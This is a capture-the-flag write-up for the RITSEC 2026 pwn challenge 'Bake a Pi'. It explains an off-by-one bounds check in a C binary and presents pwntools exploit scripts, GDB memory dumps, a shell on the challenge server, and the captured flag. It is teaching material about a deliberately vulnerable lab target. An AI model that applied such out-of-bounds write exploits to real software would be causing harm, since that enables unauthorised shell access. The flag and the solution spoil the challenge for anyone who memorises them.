Author: Shruti Priya
Hello and welcome to another writeup. This is a walkthrough to the solution for RITSEC CTF 2026 Pwn challenge: Bake a Pi. The challenge utilises off-by-one errors often seen in C-language code. Let’s get started.
Understanding the binary
I first run the binary itself to look at what the program does on surface level.
1> ./pi.bin
2I want to create the perfect pi recipe, but can't quite get it right...
3Can you help me bake the perfect pi?
4
5------------------------------------------------------------
6(S)how recipe, (C)change ingredient, (T)aste test: S
70. 1 large pi crust
81. 7 apples, sliced
92. 1/2 cup granulated sugar
103. 2 tbs flour
114. 1 tsp ground cinnamon
125. 1/8 tsp ground nutmeg
136. 1 tbs lemon juice
147. 1 large egg
15------------------------------------------------------------
16(S)how recipe, (C)change ingredient, (T)aste test: C
17Which ingredient would you like to change?: 1
18Enter ingredient: 1 apple
19------------------------------------------------------------
20(S)how recipe, (C)change ingredient, (T)aste test: S
210. 1 large pi crust
221. 1 apple
232. 1/2 cup granulated sugar
243. 2 tbs flour
254. 1 tsp ground cinnamon
265. 1/8 tsp ground nutmeg
276. 1 tbs lemon juice
287. 1 large egg
29------------------------------------------------------------
30(S)how recipe, (C)change ingredient, (T)aste test: There are 8 ingredients for the pi and we can manipulate the ingredients by choosing an index number. I now disassemble the binary pi.bin in IDA and look at the pseudocode. The program checks for a specific value and if this checks returns true, it drops us into a shell.
1if ( *(double *)&pi == 3.141592653589793 )
2 {
3 puts("Yummy! This is the perfect pi!");
4 execl("/bin/bash", "/bin/bash", 0);
5 }So we need to set the value of pi. Another interesting function is where the program allows users to change ingredients.
1if ( v4 == 67 )
2 {
3 printf("Which ingredient would you like to change?: ");
4 __isoc99_scanf("%u%*c", &v5);
5 if ( v5 <= 8 )
6 {
7 printf("Enter ingredient: ");
8 fgets(&ingredients[32 * v5], 32, stdin);
9 v3 = v5;
10 ingredients[32 * v3 - 1 + strlen(&ingredients[32 * v5])] = 0;
11 }
12 else
13 {
14 puts("The recipe doesn't have that many ingredients");
15 }
16 }Notice how the program checks the index number to be less than or equal to 8. However, given that the index numbers in C begin with 0, the maximum index number for the ingredients would be 7. This looks like an off-by-one error where a small miscalculation in the code can allow users to manipulate out of bounds memory.
Let’s hop into GDB and figure out how we can manipulate this. Just to make our lives a bit easier, we can create a simple Python script to interact with the program in GDB.
1#!/usr/bin/python
2from pwn import *
3
4context.arch = "amd64"
5p = gdb.debug("./pi.bin", '''
6 b *main+406
7 ''')
8
9p.sendline(b'C')
10p.sendline(b"8")
11
12payload = b'a' * 8
13p.sendline(payload)
14
15p.interactive()Now, looking at the memory structure in GDB, the pi value is stored right after the ingredients. The ingredients array only has 8 elements, so when we send the index value 8, the program interprets it as the 9th element.
If this was a Python program, we would have had an Index out of range error. But since this is C, we can successfully manipulate the 9th element. I have set the pi’s value to be aaaaaaaa\x0a
1(remote) gef_ x/34gx 0x404080
20x404080 <ingredients>: 0x20656772616c2031 0x7473757263206970
30x404090 <ingredients+16>: 0x0000000000000000 0x0000000000000000
40x4040a0 <ingredients+32>: 0x73656c7070612037 0x646563696c73202c
50x4040b0 <ingredients+48>: 0x0000000000000000 0x0000000000000000
60x4040c0 <ingredients+64>: 0x2070756320322f31 0x74616c756e617267
70x4040d0 <ingredients+80>: 0x7261677573206465 0x0000000000000000
80x4040e0 <ingredients+96>: 0x6c66207362742032 0x000000000072756f
90x4040f0 <ingredients+112>: 0x0000000000000000 0x0000000000000000
100x404100 <ingredients+128>: 0x7267207073742031 0x6e696320646e756f
110x404110 <ingredients+144>: 0x0000006e6f6d616e 0x0000000000000000
120x404120 <ingredients+160>: 0x2070737420382f31 0x6e20646e756f7267
130x404130 <ingredients+176>: 0x00000067656d7475 0x0000000000000000
140x404140 <ingredients+192>: 0x656c207362742031 0x6369756a206e6f6d
150x404150 <ingredients+208>: 0x0000000000000065 0x0000000000000000
160x404160 <ingredients+224>: 0x20656772616c2031 0x0000000000676765
170x404170 <ingredients+240>: 0x0000000000000000 0x0000000000000000
180x404180 <pi>: 0x6161616161616161 0x000000000000000aSetting the pi value
The program doesn’t want the pi to be aaaaaaaa\x0a but it wants a specific double value. Since the program interprets pi as a double, let’s also send the value as a double.
Extending the Python script to use struct.pack().
1#!/usr/bin/python
2from pwn import *
3import struct
4
5context.arch = "amd64"
6p = gdb.debug("./pi.bin", '''
7 b *main+406
8 ''')
9
10p.sendline(b'C')
11p.sendline(b"8")
12
13val = 3.141592653589793
14payload = struct.pack("<d", val)
15p.sendline(payload)
16
17p.sendline(b'T')
18p.interactive()Now, we have the hex interpretation of pi value in the memory. I also send the T option to actually trigger shell execution.
1(remote) gef_ x/34gx 0x404080
20x404080 <ingredients>: 0x20656772616c2031 0x7473757263206970
30x404090 <ingredients+16>: 0x0000000000000000 0x0000000000000000
40x4040a0 <ingredients+32>: 0x73656c7070612037 0x646563696c73202c
50x4040b0 <ingredients+48>: 0x0000000000000000 0x0000000000000000
60x4040c0 <ingredients+64>: 0x2070756320322f31 0x74616c756e617267
70x4040d0 <ingredients+80>: 0x7261677573206465 0x0000000000000000
80x4040e0 <ingredients+96>: 0x6c66207362742032 0x000000000072756f
90x4040f0 <ingredients+112>: 0x0000000000000000 0x0000000000000000
100x404100 <ingredients+128>: 0x7267207073742031 0x6e696320646e756f
110x404110 <ingredients+144>: 0x0000006e6f6d616e 0x0000000000000000
120x404120 <ingredients+160>: 0x2070737420382f31 0x6e20646e756f7267
130x404130 <ingredients+176>: 0x00000067656d7475 0x0000000000000000
140x404140 <ingredients+192>: 0x656c207362742031 0x6369756a206e6f6d
150x404150 <ingredients+208>: 0x0000000000000065 0x0000000000000000
160x404160 <ingredients+224>: 0x20656772616c2031 0x0000000000676765
170x404170 <ingredients+240>: 0x0000000000000000 0x0000000000000000
180x404180 <pi>: 0x400921fb54442d18 0x000000000000000aContinuing execution, the program correctly drops me into a shell.
1> ./exploit.py
2[+] Starting local process '/usr/bin/gdbserver': pid 48994
3[*] running in new terminal: ['/usr/bin/gdb', '-q', './pi.bin', '-x', '/tmp/pwnlib-gdbscript-j9w7zsnn.gdb']
4[*] Switching to interactive mode
5I want to create the perfect pi recipe, but can't quite get it right...
6Can you help me bake the perfect pi?
7
8------------------------------------------------------------
9(S)how recipe, (C)change ingredient, (T)aste test: Which ingredient would you like to change?: Enter ingredient: ------------------------------------------------------------
10(S)how recipe, (C)change ingredient, (T)aste test: Yummy! This is the perfect pi!
11$ Crafting final exploit
We have all the ingredients (pun intended) so let’s use this exploit on the server and get the flag.
1#!/usr/bin/python
2from pwn import *
3import struct
4
5context.arch = "amd64"
6
7host = "bake-a-pi.ctf.ritsec.club"
8port = 1555
9
10#p = gdb.debug("./pi.bin", '''
11# b *main+406
12# ''')
13
14#p = process("./pi.bin")
15p = remote(host, port)
16
17p.sendline(b'C')
18p.sendline(b"8")
19
20val = 3.141592653589793
21payload = struct.pack("<d", val)
22p.sendline(payload)
23
24p.sendline(b'T')
25p.interactive()Finally running this exploit:
1> ./exploit.py
2[+] Opening connection to bake-a-pi.ctf.ritsec.club on port 1555: Done
3[*] Switching to interactive mode
4I want to create the perfect pi recipe, but can't quite get it right...
5Can you help me bake the perfect pi?
6
7------------------------------------------------------------
8(S)how recipe, (C)change ingredient, (T)aste test: Which ingredient would you like to change?: Enter ingredient: ------------------------------------------------------------
9(S)how recipe, (C)change ingredient, (T)aste test: Yummy! This is the perfect pi!
10$ ls
11flag.txt
12run
13$ cat flag.txt
14RS{0ff_by_0n3_4s_e4sy_4s_4_sk1llb17_p1}
15$ And, Bake a Pi is pwned. Thank you for reading and I will see you in the next writeup!